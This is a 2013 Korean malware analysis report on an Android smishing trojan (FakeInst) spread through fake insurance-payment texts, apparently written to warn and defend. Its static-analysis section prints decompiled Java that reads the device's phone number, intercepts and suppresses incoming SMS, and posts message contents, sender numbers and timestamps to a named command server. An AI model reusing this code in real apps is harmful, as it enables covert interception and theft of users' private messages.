Android-Trojan/FakeInst 악성코드 분석 보고서 Written by extr (white-hacker@nate.com, http://extr.kr) 2013. 03. 07 Android-Trojan/FakeInst 악성코드 분석 보고서 Page 1 / 13
Table of Contents 1. 분석 정보 i. 분석 대상 ii. 분석 환경 2. 동적 분석 3. 정적 분석 4. 결론 5. 치료 방법 Android-Trojan/FakeInst 악성코드 분석 보고서 Page 2 / 13
1. 분석 정보 i. 분석 대상 [Figure 1.1.1 042.apk] 이번에 분석해볼 대상은 안드로이드 기반의 악성 앱이다. 이는 안드로이드 기반 스마트 기기를 타겟으로 3월 7일경 퍼진 것으로 추정되며, SMS를 통해 보험금 미납 조회 관련 메시지와 함께 URL을 보내어 사용자의 접속을 유도한다 [Figure 1.1.2 실제 전송된 메세지] Android-Trojan/FakeInst 악성코드 분석 보고서 Page 3 / 13
[Figure 1.1.3 Virustotal 분석 결과] Android-Trojan/FakeInst 악성코드 분석 보고서 Page 4 / 13
파일 명 진단 명 파일 크기 MD5 SHA1 SHA256 install2.exe (Android Application) Android-Trojan/FakeInst (Ahnlab-V3) 79873 Bytes f6c722da229ade8bad92d78398eb3ffd c140da00d269f0570fa6d3ca978df00870825494 de6ef09313b8e54ef01a7a85a495d3e9e89a0070a23fe037ad2cbc7d17334964 ii. 분석 환경 악성 앱의 동적 분석을 위한 가상환경과, 정적 분석을 위하여 다음과 같은 프로그램들을 사용하 였다. 가상 환경 프로그램 가상 환경 운영체제 Java Decompiler 동적 분석 프로그램 VMware 9.0 / Android Virtual Device Linux Ubuntu 12.04 LTS JDGUI - Wireshark 2. 동적 분석 [Figure 2.1.1 다운로드 스트림] 우선 악성 어플리케이션의 동적 분석을 위해 직접 악성 URL에 접근하여 다운로드를 시도해보았 다. 기존의 Short URL 형식과는 달리 일반적인 도메인이라 사용자들이 의심하지 않고 접속할 수 있지만, 위와 같이 index.html에 Location.href를 통해 악성 앱을 다운로드 받을 수 있는 페이지로 리디렉션 시켜버리는 것을 볼 수 있다. Android-Trojan/FakeInst 악성코드 분석 보고서 Page 5 / 13
[Figure 2.1.2 sphone] 설치를 실행해보면 위와 같은 정보들을 수집한다는 것을 알 수 있다. 어떤 동작을 수행하는지는 정적 분석에서 알아보도록 하겠다. [Figure 2.1.3 실행 후 날아가는 패킷] 앱을 실행하면 별 다른 이벤트 없이 바로 꺼지는데, 동시에 67.198.149.116/BBB.php에 p= 핸드폰 번호 로컬 시각 을 전송하는 것을 볼 수 있었다. 이후 별 특별한 변화는 관찰할 수 없었다. 서버 분석을 위해 어떠한 서비스를 실행하고 있는지 알아보았다. 21 FTP 80 HTTP 135 MSRPC 139 NETBIOS-SSN 445 Microsoft-DS 1025 IIS 1434 MSSQL-m Android-Trojan/FakeInst 악성코드 분석 보고서 Page 6 / 13
3306 MYSQL 3389 MS-Term-Serv 4444 Krb524 5000 UPnP 8080 HTTP-Proxy 제일 눈에 들어오는 것은 80, 8080, 그리고 3389 포트이다. 80포트로 서비스를 하지만 프록시를 사용한다는 것을 알 수 있고, 여타 다른 악성 어플리케이션 들과 마찬가지로 원격 데스크탑을 사용해 원격 관리를 사용한다는 것을 알 수 있다. [Figure 2.1.4 GeoIP] GeoIP를 통해 위치를 확인해본 결과 미국 서버로 나왔지만, IIS 오류 메시지를 통해 실제 발원지 는 중국인 것으로 추측된다. 즉, 위에서 언급했던 8080 포트를 통해 프록시를 사용했다고 밖에 볼 수 없다. 이후, 문자 메시지를 통해 전달되는 http://www.popstar1.com과 http://67.198.149.116은 동일한 주소라는 것을 알아냈지만, BBB.php가 어떠한 역할을 하는지는 알 수 없었다. 이제 정적 분석을 통해 프로그램이 내부적으로 어떠한 역할을 하는지 알아보도록 하자. Android-Trojan/FakeInst 악성코드 분석 보고서 Page 7 / 13
3. 정적 분석 의외로 다른 악성 앱에 비해 적은 양의 클래스를 볼 수 있다. 쓰레기 코드를 중간중간에 넣지 않은 걸 봐선 아직 프로토 타입 악성코드라 핵심적인 기능이 없 는게 아닐까 하고 생각이 들긴 하지만 악의적으로 배포되고 있다는 사실은 동일하니 분석에 있어 서는 상관없지 싶다. public class MainActivity extends Activity public SimpleDateFormat a = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); protected void oncreate(bundle parambundle) super.oncreate(parambundle); setcontentview(2130903040); a.a = ((TelephonyManager)getSystemService("phone")).getLine1Number(); new Thread(new c(this, a.a + " " + this.a.format(new Date()), "/BBB.php")).start(); startservice(new Intent(this, SMSListenerService.class)); finish(); [Figure 3.1.1 MainActivity] MainActivity 클래스이다. 여기서는 TelephonyManager와 getline1number를 통해 감염된 디바이 스의 전화번호를 가져와 변수에 저장시킨다는 것을 알 수 있다. 이후, c 클래스에게 전화 번호, 시 스템 시각과 /BBB.php 를 인자로 하여 넘겨주며 곧 이어 SMSListenerService라는 서비스를 실행 시키는 것을 볼 수 있다. public class SMSListenerService extends Service public SimpleDateFormat a = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); private final BroadcastReceiver b = new b(this); public IBinder onbind(intent paramintent) return null; Android-Trojan/FakeInst 악성코드 분석 보고서 Page 8 / 13
public void oncreate() super.oncreate(); Log.i("SMSListener", "Service start!"); IntentFilter localintentfilter = new IntentFilter(); localintentfilter.addaction("android.provider.telephony.sms_received"); localintentfilter.setpriority(2147483647); registerreceiver(this.b, localintentfilter); public void ondestroy() unregisterreceiver(this.b); super.ondestroy(); [Figure 3.1.2 - SMSListenerService] 서비스 클래스에선 SMSListener라는 서비스에 대한 정보를 나타낸다. 이는 낮은 Priority로써 아무 SMS가 도착할 때까지 대기하다가 도착 시 Broadcast Receiver인 b에 게 메시지를 전달하는 역할을 한다. B의 역할은 다음과 같다. final class b extends BroadcastReceiver b(smslistenerservice paramsmslistenerservice) public final void onreceive(context paramcontext, Intent paramintent) Object localobject1 = ""; Object localobject2 = ""; Date localdate1 = new Date(); Object[] arrayofobject = (Object[])paramIntent.getExtras().get("pdus"); int i = arrayofobject.length; Object localobject3 = localdate1; int j = 0; while (true) Android-Trojan/FakeInst 악성코드 분석 보고서 Page 9 / 13
if (j >= i) new Thread(new c(paramcontext, a.a + " " + (String)localObject2 + " " + (String)localObject1 + " " + this.a.a.format((date)localobject3), "/AAA.php")).start(); Log.i("zhou", localobject1 + " 发 来 短 信 "); abortbroadcast(); return; SmsMessage localsmsmessage = SmsMessage.createFromPdu((byte[])arrayOfObject[j]); String str1 = localsmsmessage.getoriginatingaddress(); String str2 = localobject2 + localsmsmessage.getmessagebody(); Date localdate2 = new Date(localSmsMessage.getTimestampMillis()); j++; localobject3 = localdate2; localobject2 = str2; localobject1 = str1; [Figure 3.1.3 b class] b에서는 getmessagebody() 함수를 통한 수신된 메시지, getoriginatingaddress()를 통한 발신자 번호, 기존의 string a에 저장되어 있던 수신자 번호, 타임스탬프로 현재 시각을 가져와 외부 서버 로 전송 할 인자를 만들어 내는 부분이다. 위의 형식대로라면 수신자 번호+ +메시지+ +발신자 번호+ +현재 시각 형식으로 목적지 서버의 /AAA.php에게 전송된다. public final class c implements Runnable String a; private String b; private Context c; public c(context paramcontext, String paramstring1, String paramstring2) this.b = paramstring1; this.c = paramcontext; Android-Trojan/FakeInst 악성코드 분석 보고서 Page 10 / 13
this.a = paramstring2; // Byte code: // 0: aconst_null //. // 208: goto -126 -> 82 private static String a(string paramstring, Map parammap) StringBuilder localstringbuilder = new StringBuilder(""); Iterator localiterator; if ((parammap!= null) && (!parammap.isempty())) localiterator = parammap.entryset().iterator(); while (true) if (!localiterator.hasnext()) localstringbuilder.deletecharat(-1 + localstringbuilder.length()); Log.i("zhou", paramstring + " " + localstringbuilder.tostring() + "shit"); byte[] arrayofbyte = localstringbuilder.tostring().getbytes(); HttpURLConnection localhttpurlconnection = (HttpURLConnection)new URL(paramString).openConnection(); localhttpurlconnection.setrequestmethod("post"); localhttpurlconnection.setconnecttimeout(1000); localhttpurlconnection.setdooutput(true); localhttpurlconnection.setrequestproperty("content-type", "application/x-www-formurlencoded"); localhttpurlconnection.setrequestproperty("content-length", String.valueOf(arrayOfByte.length)); OutputStream localoutputstream = localhttpurlconnection.getoutputstream(); localoutputstream.write(arrayofbyte); localoutputstream.flush(); localoutputstream.close(); if (localhttpurlconnection.getresponsecode()!= 200) Log.i("zhou", " 得 不 到 服 务 器 的 数 据 "); return null; Map.Entry localentry = (Map.Entry)localIterator.next(); Android-Trojan/FakeInst 악성코드 분석 보고서 Page 11 / 13
localstringbuilder.append((string)localentry.getkey()).append('=').append((string)localentry.getvalue ()).append('&'); public final void run() HashMap localhashmap = new HashMap(); localhashmap.put("p", this.b); String str = a("url.txt") + this.a; try a(str, localhashmap); return; catch (Exception localexception) Log.i("zhou", "rsp question"); [Figure 3.1.4 c class] 외부와의 통신을 위한 c class이다. 이전에 보았던 MainActivity.class, b.class에서 사용되는 외부와 의 통신도 이 클래스를 통해 이루어진다. 위 url.txt의 내용은 SMS를 통해 퍼진 URL과 동일한 도메인을 가진 http://67.198.149.116 를 가리 키고 있음을 알 수 있는데, 이렇게 url을 내부에 포함하지 않고 따로(/assets/url.txt) 관리하는 이유 는 서버를 수시로 바꾸기 위해 따로 빼 놓았을 것이라 추측된다. 이처럼 정보의 수정을 용이하게 하기 위해 리소스를 따로 관리하는 것은 url 뿐만 아니라 어플리 케이션의 아이콘도 마찬가지이다. Android-Trojan/FakeInst 악성코드 분석 보고서 Page 12 / 13
[Figure 3.1.5 res] 이전에 발생했던 스타벅스, 베스킨라빈스, 맥도날드, 롯데마트 등의 스미싱 앱도 위와 같이 리소 스를 따로 관리하여 악성코드를 쉽게 수정하여 퍼트릴 수 있게 되어있다. 4. 결론 해당 악성코드는 다음과 같은 역할을 수행한다. 1. 설치만 해도 핸드폰 번호 및 앱 실행 시각이 서버로 전송됨. 2. 이후 악성 서비스가 실행되며, 이 서비스가 실행되는 한 SMS가 전송될 시 수/ 발신자 전화번호, 메시지 내용, 수신 시각이 서버로 전송됨. 또한, 해당 악성코드는 현재(13년 03월 08일 오전 12시) 배포가 중지되었으며, 추후 리소스 수정 및 소스 수정 후 다른 경로를 통해 다시 배포될 것으로 예상된다. 5. 치료 방법 안전한 삭제를 위해 서비스 중지 후 프로그램을 삭제한다. Android-Trojan/FakeInst 악성코드 분석 보고서 Page 13 / 13